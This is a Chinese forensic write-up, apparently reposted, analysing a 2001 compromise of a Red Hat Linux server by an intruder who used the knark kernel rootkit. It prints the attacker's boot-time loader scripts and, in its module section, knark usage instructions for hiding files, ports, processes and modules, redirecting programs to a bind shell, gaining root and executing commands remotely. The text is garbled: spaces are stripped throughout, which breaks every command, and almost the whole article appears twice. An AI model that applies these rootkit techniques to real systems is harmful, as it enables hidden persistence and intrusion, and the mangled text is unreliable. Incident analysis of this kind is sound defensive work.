很酷的一篇入侵分析
时间:2018-08-05 10:44:29来源:网络整理
一、意外
时间:2001-3-11下午
地点:某台RedHatLinux机器:
#uname-a
Linux*.*.cn.net2.2.5-15#1MonApr1923:00:46EDT1999i686unknown
俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状:
#ls-la
……
-rwxr-xr-x1rootroot2775Mar261999netfs
-rwxr-xr-x1rootroot5537Mar321:23network
-rwxr-xr-x1rootroot2408Apr161999nfs
……
二、初步检查
明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先:
#statnetwork
file:"network"
Size:5537Filetype:RegularFile
Mode:(0755/-rwxr-xr-x)Uid:(0/root)Gid:(0/root)
Device:3,1Inode:269454Links:1
Access:SunMar1110:59:592001(00000.05:53:41)
Modify:SunMar405:23:412001(00007.11:29:59)
Change:SunMar405:23:412001(00007.11:29:59)
最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧:
#catnetwork
……
/usr/lib/libdd.so.1
就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先
#file/usr/lib/libdd.so.1
/usr/lib/libdd.so.1:ELF32-bitLSBexecutable,Intel80386,version1,
dynamicallylinked(usessharedlibs),notstripped
哦,是个二进制的可执行文件,执行下strings看是否眼熟
#strings/usr/lib/libdd.so.1
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
system
__deregister_frame_info
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.0
PTRh
/boot/.pty0/go.sh<--------这条信息看上去比较有趣
哦,这就简单了嘛,俺看看这里面的路径:
#cd/boot/.pty0
#catgo.sh
#!/bin/bash
f=`ls-al/boot|grep.pty0`
if[-n"$f"];then
cd/boot/.pty0
./mcd-q
cdmech1
./mech-fconf1>/dev/null2>/dev/null
cd..
cdmech2
./mech-fconf1>/dev/null2>/dev/null
cd..
cdmech3
./mech-fconf1>/dev/null2>/dev/null
cd..
/sbin/insmodparaport.o1>/dev/null2>/dev/null
/sbin/insmodiBCS.o1>/dev/null2>/dev/null
./ascunde.sh
fi
有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么:
#catascunde.sh
#!/bin/bash
forprocesin`/bin/cat/boot/.pty0/hdm`;do
P=`/sbin/pidof$proces`
if[-n"$P"];then
killall-31$proces1>/dev/hdm2>/dev/hdm
fi
done
forportin`/bin/cat/boot/.pty0/hdm1`;do
./nethide`./dec2hex$port`1>/dev/hdm2>/dev/hdm
done
fordirectorin`/bin/cat/boot/.pty0/hdm2`;do
./hidef$director1>/dev/hdm2>/dev/hdm
done
看到这里,事情开始有趣了,这似乎不是一个三流的scriptkiddle干的活嘛,打个包拖回来先,于是俺
#cd/boot
#ls-la
total2265
drwxr-xr-x3rootroot1024Mar1103:01.
drwxr-xr-x21rootroot1024Mar203:37..
lrwxrwxrwx1rootroot19Sep261999System.map->System.map-2.2.5-15
-rw-r--r--1rootroot186704Apr201999System.map-2.2.5-15
-rw-r--r--1rootroot512Sep261999boot.0300
-rw-r--r--1rootroot4544Apr131999boot.b
-rw-r--r--1rootroot612Apr131999chain.b
-rw-------1rootroot9728Sep261999map
lrwxrwxrwx1rootroot20Sep261999module-info->module-info-2.2.5-15
-rw-r--r--1rootroot11773Apr201999module-info-2.2.5-15
-rw-r--r--1rootroot620Apr131999os2_d.b
-rwxr-xr-x1rootroot1469282Apr201999vmlinux-2.2.5-15
lrwxrwxrwx1rootroot16Sep261999vmlinuz->vmlinuz-2.2.5-15
-rw-r--r--1rootroot617288Apr201999vmlinuz-2.2.5-15
咦,事情更有趣了……居然没有看到.pty0的目录
#cd.pty0
#ls-laF
total1228
drwxr-xr-x3rootroot1024Mar1103:01../
-rwxr-xr-x1rootroot345Mar321:23ascunde.sh*
-rwxr-xr-x1rootroot12760Mar321:23dec2hex*
-rwxr-xr-x1rootroot13414Mar321:23ered*
-rwxr-xr-x1rootroot358Mar719:03go.sh*
-rwxr-xr-x1rootroot3872Mar321:23hidef*
-rw-r--r--1rootroot956Mar321:23iBCS.o
-rw-r--r--1rootroot524107Mar718:40m.tgz
-rwxr-xr-x1rootroot656111Mar321:23mcd*
drwxr-xr-x4rootroot1024Mar719:00mech1/
drwxr-xr-x4rootroot1024Mar919:50mech2/
drwxr-xr-x4rootroot1024Mar919:20mech3/
-rwxr-xr-x1rootroot12890Mar321:23nethide*
-rw-r--r--1rootroot10948Mar321:23paraport.o
-rw-r--r--1rootroot522Mar321:23ssh_host_key
-rw-------1rootroot512Mar1104:16ssh_random_seed
-rw-r--r--1rootroot677Mar321:23sshd_config
看来是加载了某个lkm了,比较讨厌。
#/sbin/lsmod
ModuleSizeUsedby
nfsd1509368(autoclean)
lockd308561(autoclean)[nfsd]
sunrpc523561(autoclean)[nfsdlockd]
3c59x189201(autoclean)
这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务
#/usr/sbin/rpcinfo-plocalhost
programversprotoport
1000002tcp111rpcbind
1000241tcp664status
1000111udp673rquotad
1000053tcp695mountd
1000032udp2049nfs
1000213tcp1024nlockmgr
原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。
再来看看网卡吧,3c59x是网卡的驱动模块。
#/sbin/ifconfig-a
/sbin/ifconfig-a
loLinkencap:LocalLoopback
inetaddr:127.0.0.1Bcast:127.255.255.255Mask:255.0.0.0
UPLOOPBACKRUNNINGMTU:3924Metric:1
RXpackets:380640errors:3374dropped:0overruns:0
TXpackets:0errors:0dropped:0overruns:380640
eth0Linkencap:10MbpsEthernetHWaddr00:10:5A:63:5B:05
inetaddr:*.*.*.*Bcast:*.*.*.255Mask:255.255.255.0
UPBROADCASTRUNNINGMULTICASTMTU:1500Metric:1
RXpackets:71144611errors:820101dropped:0overruns:0
TXpackets:0errors:0dropped:0overruns:436037129
Interrupt:10Baseaddress:0xe400
#dmesg|grepeth0
eth0:3Com3c905BCyclone100baseTxat0xe400,00:10:5a:63:5b:05,IRQ10
eth0:Settingpromiscuousmode.
deviceeth0enteredpromiscuousmode
看来这些模块都是正常的,但比较狠的就是——deviceeth0enteredpromiscuousmode——看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先……
三、模块介绍
nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knarkhacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对LinuxKernel2.2的,行……咱们先看看这是什么样的内核模块:
除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。
hidef用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入./hidef/boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝
ered用来重定向执行某个程序,比如说,你把一个bindsh*ll的程序拷到/boot/.pty0/bindsh*ll,然后可以用./ered/bin/ls/boot/.pty0/bindsh*ll这样的命令,将ls重定向到bindsh*ll,当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以键入./ered-cnethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并输出的,比如你要隐藏端口43981的连接信息,你必须键入:
./nethide":ABCD"
你就可以象grep-v一样,过滤掉你不想让人看到的网络连接信息了,比如你用:
netstat-at
可能会有一行连接(ssh)的记录是这样的:
ProtoRecv-QSend-QLocalAddressForeignAddressState
tcp00localhost:sshlocalhost:1023ESTABLISHED
我们来看看/proc/net/tcp里面的情况如何:
cat/proc/net/tcp
其中相应的行应该是这样的:
local_addressrem_addressblablabla...
0:0100007F:00160100007F:03FF0100000000:0000000000:0000000000000000
如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是:0100007F:0016了,于是我们键入:
./nethide"0100007F:0016"
便可以将其隐藏得很漂亮了。
rootme利用这个家伙,你可以不需要suid位,就能拿到root的权限喽:
./rootme/bin/sh
你也可以用这种方式来运行:
./rootme/bin/ls-l/root
这里必须注意,要输入完整的路径名。
taskhack可以改变运行着的进程的uid,euid,gid,egid等。
./taskhack-alluid=0pid
这可以把该进程所有的*uid(uid,euid,suid,fsuid)都改成0
你用:
psaux|grepbash
creed910.01.314248241S15:310:00-bash
rexec远程执行命令,比如:
./rexecwww.microsoft.comhaxored.server.nu/bin/touch/LUDER
knark还有一些其它的特性:
将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top都无法看到,比如:
#kill-31pid
如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的sh*ll隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;)闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。
这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从
模块列表里移除——也就是/proc/module里面看不到它,示例如下:
#/sbin/insmodknark.o
#/sbin/lsmod|grepknark
knark66400(unused)
#/sbin/insmodmodhide.o
#lsmod|grepknark
啥也没有了
最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。
四、分析
我们可以试着看看:
#cd/proc/knark/
#catfiles
HIDDENFILES
/boot/.pty0
/usr/lib/logem
这两个目录就是被藏起来的了;)
#catnethides
HIDDENSTRINGS(withoutthequotes)
"CB0C"
"17"
":0947"
这里是三个netstat的隐藏。
#catpids
EUIDPIDCOMMAND
0112mcd
0338dittrich
两个后门,一个bindsh*ll,一个是伪装成ssh的,进程都被隐藏了。
#catredirects
REDIRECTFROMREDIRECTTO
/bin/login/usr/lib/logem/login2
可执行程序重定向,这里是把login给重定向了。
现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echostreamtcpnowaitroot/usr/sbin/echod/usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向/boot/.pty0/go.sh:
这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下,结果如下:
Coitzeis~statd@the.ip.of.the_hacked_machine*Askyourgirlfriend:>
Coitzeon@#radio21pitesti@#mafiotzii
CoitzeusingMcLean.VA.US.Undernet.OrgCAISInternet,US
CoitzeEndof/WHOISlist.
而go.sh又指向ascunde.sh,这里是这样的:
forprocesin`/bin/cat/boot/.pty0/hdm`;do<-------
hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵者想隐藏的
P=`/sbin/pidof$proces`
if[-n"$P"];then
killall-31$proces1>/dev/hdm2>/dev/hdm<-------
发出kill-31的信号,调用加载的内核模块隐藏进程fi
摘自:明盾大学网络安全学院
作者:blan
时间:2001-3-11下午
地点:某台RedHatLinux机器:
#uname-a
Linux*.*.cn.net2.2.5-15#1MonApr1923:00:46EDT1999i686unknown
俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状:
#ls-la
……
-rwxr-xr-x1rootroot2775Mar261999netfs
-rwxr-xr-x1rootroot5537Mar321:23network
-rwxr-xr-x1rootroot2408Apr161999nfs
……
二、初步检查
明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先:
#statnetwork
file:"network"
Size:5537Filetype:RegularFile
Mode:(0755/-rwxr-xr-x)Uid:(0/root)Gid:(0/root)
Device:3,1Inode:269454Links:1
Access:SunMar1110:59:592001(00000.05:53:41)
Modify:SunMar405:23:412001(00007.11:29:59)
Change:SunMar405:23:412001(00007.11:29:59)
最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧:
#catnetwork
……
/usr/lib/libdd.so.1
就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先
#file/usr/lib/libdd.so.1
/usr/lib/libdd.so.1:ELF32-bitLSBexecutable,Intel80386,version1,
dynamicallylinked(usessharedlibs),notstripped
哦,是个二进制的可执行文件,执行下strings看是否眼熟
#strings/usr/lib/libdd.so.1
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
system
__deregister_frame_info
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.0
PTRh
/boot/.pty0/go.sh<--------这条信息看上去比较有趣
哦,这就简单了嘛,俺看看这里面的路径:
#cd/boot/.pty0
#catgo.sh
#!/bin/bash
f=`ls-al/boot|grep.pty0`
if[-n"$f"];then
cd/boot/.pty0
./mcd-q
cdmech1
./mech-fconf1>/dev/null2>/dev/null
cd..
cdmech2
./mech-fconf1>/dev/null2>/dev/null
cd..
cdmech3
./mech-fconf1>/dev/null2>/dev/null
cd..
/sbin/insmodparaport.o1>/dev/null2>/dev/null
/sbin/insmodiBCS.o1>/dev/null2>/dev/null
./ascunde.sh
fi
有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么:
#catascunde.sh
#!/bin/bash
forprocesin`/bin/cat/boot/.pty0/hdm`;do
P=`/sbin/pidof$proces`
if[-n"$P"];then
killall-31$proces1>/dev/hdm2>/dev/hdm
fi
done
forportin`/bin/cat/boot/.pty0/hdm1`;do
./nethide`./dec2hex$port`1>/dev/hdm2>/dev/hdm
done
fordirectorin`/bin/cat/boot/.pty0/hdm2`;do
./hidef$director1>/dev/hdm2>/dev/hdm
done
看到这里,事情开始有趣了,这似乎不是一个三流的scriptkiddle干的活嘛,打个包拖回来先,于是俺
#cd/boot
#ls-la
total2265
drwxr-xr-x3rootroot1024Mar1103:01.
drwxr-xr-x21rootroot1024Mar203:37..
lrwxrwxrwx1rootroot19Sep261999System.map->System.map-2.2.5-15
-rw-r--r--1rootroot186704Apr201999System.map-2.2.5-15
-rw-r--r--1rootroot512Sep261999boot.0300
-rw-r--r--1rootroot4544Apr131999boot.b
-rw-r--r--1rootroot612Apr131999chain.b
-rw-------1rootroot9728Sep261999map
lrwxrwxrwx1rootroot20Sep261999module-info->module-info-2.2.5-15
-rw-r--r--1rootroot11773Apr201999module-info-2.2.5-15
-rw-r--r--1rootroot620Apr131999os2_d.b
-rwxr-xr-x1rootroot1469282Apr201999vmlinux-2.2.5-15
lrwxrwxrwx1rootroot16Sep261999vmlinuz->vmlinuz-2.2.5-15
-rw-r--r--1rootroot617288Apr201999vmlinuz-2.2.5-15
咦,事情更有趣了……居然没有看到.pty0的目录
#cd.pty0
#ls-laF
total1228
drwxr-xr-x3rootroot1024Mar1103:01../
-rwxr-xr-x1rootroot345Mar321:23ascunde.sh*
-rwxr-xr-x1rootroot12760Mar321:23dec2hex*
-rwxr-xr-x1rootroot13414Mar321:23ered*
-rwxr-xr-x1rootroot358Mar719:03go.sh*
-rwxr-xr-x1rootroot3872Mar321:23hidef*
-rw-r--r--1rootroot956Mar321:23iBCS.o
-rw-r--r--1rootroot524107Mar718:40m.tgz
-rwxr-xr-x1rootroot656111Mar321:23mcd*
drwxr-xr-x4rootroot1024Mar719:00mech1/
drwxr-xr-x4rootroot1024Mar919:50mech2/
drwxr-xr-x4rootroot1024Mar919:20mech3/
-rwxr-xr-x1rootroot12890Mar321:23nethide*
-rw-r--r--1rootroot10948Mar321:23paraport.o
-rw-r--r--1rootroot522Mar321:23ssh_host_key
-rw-------1rootroot512Mar1104:16ssh_random_seed
-rw-r--r--1rootroot677Mar321:23sshd_config
看来是加载了某个lkm了,比较讨厌。
#/sbin/lsmod
ModuleSizeUsedby
nfsd1509368(autoclean)
lockd308561(autoclean)[nfsd]
sunrpc523561(autoclean)[nfsdlockd]
3c59x189201(autoclean)
这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务
#/usr/sbin/rpcinfo-plocalhost
programversprotoport
1000002tcp111rpcbind
1000241tcp664status
1000111udp673rquotad
1000053tcp695mountd
1000032udp2049nfs
1000213tcp1024nlockmgr
原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。
再来看看网卡吧,3c59x是网卡的驱动模块。
#/sbin/ifconfig-a
/sbin/ifconfig-a
loLinkencap:LocalLoopback
inetaddr:127.0.0.1Bcast:127.255.255.255Mask:255.0.0.0
UPLOOPBACKRUNNINGMTU:3924Metric:1
RXpackets:380640errors:3374dropped:0overruns:0
TXpackets:0errors:0dropped:0overruns:380640
eth0Linkencap:10MbpsEthernetHWaddr00:10:5A:63:5B:05
inetaddr:*.*.*.*Bcast:*.*.*.255Mask:255.255.255.0
UPBROADCASTRUNNINGMULTICASTMTU:1500Metric:1
RXpackets:71144611errors:820101dropped:0overruns:0
TXpackets:0errors:0dropped:0overruns:436037129
Interrupt:10Baseaddress:0xe400
#dmesg|grepeth0
eth0:3Com3c905BCyclone100baseTxat0xe400,00:10:5a:63:5b:05,IRQ10
eth0:Settingpromiscuousmode.
deviceeth0enteredpromiscuousmode
看来这些模块都是正常的,但比较狠的就是——deviceeth0enteredpromiscuousmode——看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先……
三、模块介绍
nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knarkhacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对LinuxKernel2.2的,行……咱们先看看这是什么样的内核模块:
除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。
hidef用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入./hidef/boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝
ered用来重定向执行某个程序,比如说,你把一个bindsh*ll的程序拷到/boot/.pty0/bindsh*ll,然后可以用./ered/bin/ls/boot/.pty0/bindsh*ll这样的命令,将ls重定向到bindsh*ll,当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以键入./ered-cnethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并输出的,比如你要隐藏端口43981的连接信息,你必须键入:
./nethide":ABCD"
你就可以象grep-v一样,过滤掉你不想让人看到的网络连接信息了,比如你用:
netstat-at
可能会有一行连接(ssh)的记录是这样的:
ProtoRecv-QSend-QLocalAddressForeignAddressState
tcp00localhost:sshlocalhost:1023ESTABLISHED
我们来看看/proc/net/tcp里面的情况如何:
cat/proc/net/tcp
其中相应的行应该是这样的:
local_addressrem_addressblablabla...
0:0100007F:00160100007F:03FF0100000000:0000000000:0000000000000000
如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是:0100007F:0016了,于是我们键入:
./nethide"0100007F:0016"
便可以将其隐藏得很漂亮了。
rootme利用这个家伙,你可以不需要suid位,就能拿到root的权限喽:
./rootme/bin/sh
你也可以用这种方式来运行:
./rootme/bin/ls-l/root
这里必须注意,要输入完整的路径名。
taskhack可以改变运行着的进程的uid,euid,gid,egid等。
./taskhack-alluid=0pid
这可以把该进程所有的*uid(uid,euid,suid,fsuid)都改成0
你用:
psaux|grepbash
creed910.01.314248241S15:310:00-bash
rexec远程执行命令,比如:
./rexecwww.microsoft.comhaxored.server.nu/bin/touch/LUDER
knark还有一些其它的特性:
将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top都无法看到,比如:
#kill-31pid
如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的sh*ll隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;)闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。
这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从
模块列表里移除——也就是/proc/module里面看不到它,示例如下:
#/sbin/insmodknark.o
#/sbin/lsmod|grepknark
knark66400(unused)
#/sbin/insmodmodhide.o
#lsmod|grepknark
啥也没有了
最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。
四、分析
我们可以试着看看:
#cd/proc/knark/
#catfiles
HIDDENFILES
/boot/.pty0
/usr/lib/logem
这两个目录就是被藏起来的了;)
#catnethides
HIDDENSTRINGS(withoutthequotes)
"CB0C"
"17"
":0947"
这里是三个netstat的隐藏。
#catpids
EUIDPIDCOMMAND
0112mcd
0338dittrich
两个后门,一个bindsh*ll,一个是伪装成ssh的,进程都被隐藏了。
#catredirects
REDIRECTFROMREDIRECTTO
/bin/login/usr/lib/logem/login2
可执行程序重定向,这里是把login给重定向了。
现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echostreamtcpnowaitroot/usr/sbin/echod/usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向/boot/.pty0/go.sh:
这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下,结果如下:
Coitzeis~statd@the.ip.of.the_hacked_machine*Askyourgirlfriend:>
Coitzeon@#radio21pitesti@#mafiotzii
CoitzeusingMcLean.VA.US.Undernet.OrgCAISInternet,US
CoitzeEndof/WHOISlist.
而go.sh又指向ascunde.sh,这里是这样的:
forprocesin`/bin/cat/boot/.pty0/hdm`;do<-------
hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵者想隐藏的
P=`/sbin/pidof$proces`
if[-n"$P"];then
killall-31$proces1>/dev/hdm2>/dev/hdm<-------
发出kill-31的信号,调用加载的内核模块隐藏进程fi
摘自:明盾大学网络安全学院
作者:blan
本类热门